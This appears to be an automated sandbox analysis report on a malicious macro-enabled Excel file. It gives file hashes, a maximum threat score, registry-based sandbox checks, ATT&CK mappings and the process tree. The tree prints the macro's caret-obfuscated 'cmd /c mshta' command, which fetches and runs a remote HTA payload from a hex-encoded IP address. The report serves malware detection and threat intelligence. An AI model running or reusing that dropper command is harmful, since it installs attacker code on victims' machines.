5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b

General

Target

5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b.xlsm
Size

114KB
MD5

4c3308f1a880faa8e9ce0ab02358d527
SHA1

9cca6556b86ab4986ff47d795b5e23cadaa21280
SHA256

5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b
SHA512

f0fac46d46ee87b5df8a9b28f32ddfb0d242a6709fa259c54734258be31684c5f48536ae07fa39bea004cced6fbb2da5ad4a7965e282a9de9b2821e25f27d095

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1276	3064	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

47 1396 mshta.exe

flow	pid	process
47	1396	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3064 EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE
3064	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3064 wrote to memory of 1276	3064	EXCEL.EXE	cmd.exe
PID 3064 wrote to memory of 1276	3064	EXCEL.EXE	cmd.exe
PID 1276 wrote to memory of 1396	1276	cmd.exe	mshta.exe
PID 1276 wrote to memory of 1396	1276	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5fc2151bdd72d6e042fa1ef2cca0e353859c48634ffa97a00a546a701939c78b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    PID:1396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3064-115-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/3064-116-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/3064-117-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/3064-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/3064-127-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

Filesize
64KB

Download
memory/3064-128-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Filesize
64KB

Download
memory/3064-129-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads